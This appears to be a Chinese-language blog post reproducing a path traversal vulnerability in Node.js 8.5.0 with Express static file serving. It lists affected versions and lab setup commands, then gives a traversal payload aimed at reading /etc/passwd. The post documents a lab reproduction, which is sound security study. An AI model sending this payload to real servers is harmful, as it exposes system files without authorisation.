文章目录
一、Node.js与Express
1、Node.js
node.js是一个基于V8引擎的Javascript运行环境,它使得 Javascript 可以运行在服务端,直接与操作系统进行交互,与文件控制、网络交互、进程控制等。可以简单的理解为:node.js就是运行在服务端的Javascript。
2、Express
Express是一个简洁而灵活的node.js Web应用框架,提供一系列强大特性帮助创建各种Web和移动设备应用。Express不对node.js已有的特性进行二次抽象,我们只是在它之上扩展了Web应用所需的功能。
3、影响版本
Node.js 8.5.0 + Express 3.19.0-3.21.2
Node.js 8.5.0 + Express 4.11.0-4.15.5
4、环境安装
4.1、Node.js 8.5.0安装
1、下载Node.js 8.5.0安装包
wget https://nodejs.org/download/release/v8.5.0/node-v8.5.0-linux-x64.tar.gz
2、解压
tar -zxvf node-v8.5.0-linux-x64.tar.gz
3、安装
sudo mv node-v8.5.0-linux-x64 /opt/
sudo ln -s ./bin/npm /usr/bin/npm
sudo ln -s ./bin/node /usr/bin/node
4.2、Express 4.15.5安装
1、下载express-4.15.5
wget https://github.com/expressjs/express/archive/4.15.5.tar.gz
2、解压
tar -zxvf 4.15.5.tar.gz
3、安装express
cd express-4.15.5 && npm install
4、开启express
cd examples
cd static-files
node index.js
二、漏洞原理
原理没太看明白,有兴趣的可以去看看腾讯应急响应中心的关于此漏洞复现的文章。
三、漏洞复现
1、访问web页面,开发者模式下可以看到引用了/static/main.js文件,说明其存在静态文件服务器。
2、构建Payload:/static/../../../foo/../../../../etc/passwd
参考链接:https://security.tencent.com/index.php/blog/msg/121